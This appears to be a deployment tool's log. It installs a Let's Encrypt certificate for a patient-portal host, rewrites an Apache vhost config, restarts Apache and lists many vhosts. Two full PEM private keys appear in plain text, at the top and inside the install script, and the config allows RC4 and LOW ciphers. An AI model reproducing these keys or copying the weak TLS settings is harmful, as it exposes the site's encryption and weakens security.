-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC6PO+ED2uwtFsu
HoXCPDb5KbzOVZ1qPmYj0T6r0idYvHjSP32jaaocVScR2YHPevFgfOxiEXzYz2t7
J87XlzmRi84avunp/cL9YXbZoFimqowyrpR//900sI8WRJC87ioeZ+M+GCv3amCb
DK6suM6KO2ws1At6YRiIz4iUl15jc9Onl8jXuYWtaj/K/yGRL24VIsnfFcs8EGft
Uf31Zht+xwqoiEmt0B81wj07TN/lzW+nOn0ya0EvucxXL/0gdMin+8vJ8a15NElD
BgMZeVJcLGhJYelhYvps3jraEbeBO2t5o7xlmfbxVALjfM/PtdOH7bl2zxpjW0pX
2BdMbVlvAgMBAAECggEAJ8LqwB8qtsdK0EXj+NwyQHAQx1ywBwbbd7oszzJHBEL4
6Kp1gHYGw5XKiZ0OgeWVsyv4q9df+EoQgHK3ToAS4mge0McB2ds7zi0I2t3JD4xJ
8mgjfFB8QcuQQQjSfgO7KlKzyYYPnPsxNOk4QdgTAKA/MDL1YGNqgYsNdev7UvAC
XpvsYERqhD6FHtj1dnNesZRW72EPJaq/HhenPMwaOihtQ9r7mqvAuXV10UaLEwXL
xkSoYOa+aohgj00qJu8XfRuiq1Lxqd7ZDBOQ18BUrbsA2M7ZNbfS/qZIvbH5owDi
MoIwVnH9H11qw7L5aeCx+5yAc6nnnK1IDddsH7yuwQKBgQDla5yDh6DKll481Mty
eMOVeKXbwaDVDn2ypCFPdWp6D4trcchf66JgwwNqjJ2I9wP3TqBpC/QJfpziC9+V
wcsiAT6KtiNcrnsbzHEdLgukGWyPTC4LLm+rLbp6PKb8uGf9m2Zd0Z15vxMVtg1T
eDseELlHqNlCMkMV+7dF0P5QTQKBgQDP0JPhHpv5I3gnTzrG9uMwfRwGMq44EUoF
ex/l5HpCCJRVEpeGaqldKeL9TImkoFEtLyvjKUNE13vaMw7zOVDVaaVma6vT2co/
2iy9UIxWVAbc3w5cSS39mbgJJCxjdQ53nOD1U7AE2x4NNkJPdsOHuDh38vLbcBcX
6DaXY4+OqwKBgCanZO18UokPoL0bFVQqKLnsY/WMwC5ljKQmpz4eCFycdd8agqo2
p1sqQE8Zdgl3pQFsC/bm/q0C2ifz3C39Qt5t2z2/xmF9PFzIq15BPdDeP749FZzo
rAPpZnvl8DSwVUUTg8HW6XNz0CFeVQx1O3CrXKxINKLEmS0BBjYLKm4ZAoGAcrmf
KeSQDtY5+tmOhVC+04H9+p33+BPzXVs/nNapd9LssJp29Enl/fylx1h9lFi898jW
3a1l6ZdcVHVjh3rY2Thdi1FdprLRKLb1g/33u6DfuQebEe+EaEB4jPNfXfi9Z+M/
fbAZuFSPHpQZv2y9PSvCYNXKpMIYvaYAnUrlcckCgYBW9lq+lsJRgJ8x1WVVrPGO
zAAW3J65APkuhZUOt131Uhjt6xI7Ol7qpj10wrIpMOIm7/De857pF3PDYQc+s6UA
RNqD6HISu7WoRAn+4DztxkgGQLB7s9r9Dh8wyXWF/N7+Kg3W1CYrm49ak4RB/QQa
6amp9iqENOFSBlaO01qqNQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-03 06:03:16: Establishing a connection
2025-11-03 06:03:16: Establishing a connection
2025-11-03 06:03:16: 

PUT: /tmp/pkp402379

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:03:16: 

chmod 755 /tmp/pkp402379; /tmp/pkp402379; rm /tmp/pkp402379

2025-11-03 06:03:16: 


0


2025-11-03 06:03:41: Establishing a connection
2025-11-03 06:03:41: 

PUT: /tmp/pkp250776

#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt

cat > $temp_file <<'endmsg'
13:91:4c:4a:0b:01:c8:aa:2b:1d:be:dd:65:4e:13:5e

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBqPZkZwQEwf8s+Oj2aYU2zgyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNTExWhcNMjYwMjAxMDUwNTEwWjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2jdAh7gaySL/nIju8VDFrIGJdNeQsgLtSEPUrs11JCbnYLB12oyViHhQ
du2x04zdSlaUIiSk952OugnE7wNE2oNjXC/FUnEgPWinHzXfMFFGOOcmRRXsI96M
efFFlHabM7vg1MG91zMErAGiWg0du1aG5KuI8OPJtlKAS9v5SithMZScmy4cbtc9
zslF8luWjTZty0D69tBlOn+8Tym+ImK/uko9SBS6whZX0AduaWNRNe5avFschXBW
RHVadtFAv/iKsUHrFZoArRDOhZSyYbcyKUooM2lxwqotoN/e0faZmdwcmP3vU9xQ
xF0k2rn01VkF3jB7IKWF1gFWv/G62QIDAQABo4ICJDCCAiAwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBS4M2+f7bWjj256VMMzImbf69xpvjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy81MS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdwBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZpIUGuXAAAE
AwBIMEYCIQCLsQWKwfOuNRU1vHdNsZ3vFvNtLNR9Q59Fup5TKf/W+gIhANePrkBk
a8kGC3rTMktex8AFT1m6XwfR6yDnjbZSa0diAHYAyzj3FYl8hKFEX1vB3fvJbvKa
Wc1HCmkFhbDLFMMUWOcAAAGaSFBruQAABAMARzBFAiEA24kjCzEwlrA1tAf1noo+
jIQmjU/uv8UO/6skF0ODxSYCICObh6X5TW43hZ7eYlH8o22WKZvXAapwj/gtgIqz
t2MqMA0GCSqGSIb3DQEBCwUAA4IBAQA4IRq1sohOXL32rXNC4tuFvNSzPyVgAl0g
tmTyGvWmJFdsrMrtIe0f4Nx7D/kXIhOG5tsTIoqQv0juqQvmPZ9VtTY1EhgnnSzC
NGYihhqlFh3ZRphs/q1IfcorP6xN9W/hoE7U80+b4HyuJJcxmVCyn4mz9mSHeJIl
22ZfiO1kMH3cyRCom6daS2Km6y8hEe1TbWC4b2/OXJvuCdaB1DpMGgsU0fESSX49
28WKEG0qOiqYT4IebL3DCx48DtfqXFIMZOYI+VR3ZeXyM4fKJwhn5BExOPzoGevy
FEENAkzzPp8m++NvmGypV9zIndginlLIfmqjAqTZEpQrb2LBhX1z
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDaN0CHuBrJIv+c
iO7xUMWsgYl015CyAu1IQ9SuzXUkJudgsHXajJWIeFB27bHTjN1KVpQiJKT3nY66
CcTvA0Tag2NcL8VScSA9aKcfNd8wUUY45yZFFewj3ox58UWUdpszu+DUwb3XMwSs
AaJaDR27Vobkq4jw48m2UoBL2/lKK2ExlJybLhxu1z3OyUXyW5aNNm3LQPr20GU6
f7xPKb4iYr+6Sj1IFLrCFlfQB25pY1E17lq8WxyFcFZEdVp20UC/+IqxQesVmgCt
EM6FlLJhtzIpSigzaXHCqi2g397R9pmZ3ByY/e9T3FDEXSTaufTVWQXeMHsgpYXW
AVa/8brZAgMBAAECggEAayv1snJWHXDl70BFchlEbFvWYZ85fmP3m6VMwGlB3faJ
brBbwXGIQ1Ur160XyBmH2Wm6KSasKrykC3Se1vBZEaSz2OPRWpMazW4nnil8KyPP
hETqQ8XnixpTDdTUYnz57qeYXYWlshppcfz/epC0iHyPlaE1iXGmcLgGMLuhrK3H
QfC8onjprRv4znqZUM9dUTB8W89iCvrgPr4D7dxnC9UHbgH3yKkEXuw0c+DG1wo9
URyGDsurJE8LynZ1YxsBi5YZb0dZABu1/DRPCzg7JFG2z6q3eVBPmvAM0QeH1RMe
cEOmksKk2nt/pDN3qE3wHfPn8J35TR5ASRxfC1sDjQKBgQDxFYyum/c5Mpd3Jrbj
h+ThqxUYAPb8623hjLKISwg90NC8AQ/Id0h1UtSFaK9ctnd4j/OpNQ62KdssiXLu
28w0aWjl4j6tid/aR5cWu4rUic2FhYUDZS40U8E24g2TAQ8DAy8LUoMmkvj3AkW7
ctnVfewiMMG/QdDtgORTN0vcEwKBgQDnt3+eHjiIZ+y52xEKu6XYmSJlgw8xcfhR
MWgLgoSD74TNOckxHkJE+UkxGwk+eIKOAnzqRjucRlx2KOjDcpzaFUP5S7/dKVIN
tZbFKa92xv0kwDMhxGDywXJKkyt21PIG8eb4bNyRX0F8zcQv7W8pxPoa4PK9Nr6J
Zp0ixwLS4wKBgFwyWI3CGaanIWOwy4pyQubGjZeTbuFEi84RB4m14B37yIfNhCKu
82fi2GF4qm+zXDcgHhfcsZaapTYADpMoPYzhrvsTLdMiAhiw/if0auBjHtTsPfUR
cb0TNrXtdzF72yjUw935nSxYUpvsI4zPHF1X/cEJkl65JdReUXM9l2Y/AoGBAL5p
xV5LGUvGkvq7sYpvXz7ZwDFI/NA2Bse54PUsYPcGecwnw1QwuGZzsBjBTdxfLXHD
S6E867lk/JBA193crlZsCTqwa88zKHGJmocU1VK2/MkZhCsodD6ohuIPhDUXknfw
i0v0MWDotSj48lIsPCBH9PrnhbHFbdf9Uf2FKqXfAoGAI6n+taA0nYrGJcFUbAnd
i49C4aqJQhNQbfMm7q5utk/e8deoWbefWGdq75mU+EIXklZ+ISvjdPvpYmpPGU0J
yLcNn0Lpamnh67XXLhmN+7m/P+xgGRPlttTMti05dTdh9GTDXCtmbXygEVWYP+Gd
zkkib+N+peajTeQvcR689ko=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:03:42: 

chmod 755 /tmp/pkp250776; /tmp/pkp250776; rm /tmp/pkp250776

2025-11-03 06:03:42: 


dir=/etc/ssl/certs


2025-11-03 06:03:42: 

PUT: /tmp/pkp582319

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:03:42: 

chmod 755 /tmp/pkp582319; /tmp/pkp582319; rm /tmp/pkp582319

2025-11-03 06:03:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-03 06:03:42: 

PUT: /tmp/pkp146522

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi


2025-11-03 06:03:42: 

chmod 755 /tmp/pkp146522; /tmp/pkp146522; rm /tmp/pkp146522

2025-11-03 06:03:42: 




2025-11-03 06:03:42: 

PUT: /tmp/pkp743975

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:03:42: 

chmod 755 /tmp/pkp743975; /tmp/pkp743975; rm /tmp/pkp743975

2025-11-03 06:03:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:03:42: Establishing a connection
2025-11-03 06:03:42: 

PUT: /tmp/pkp204710

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:03:42: 

chmod 755 /tmp/pkp204710; /tmp/pkp204710; rm /tmp/pkp204710

2025-11-03 06:03:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
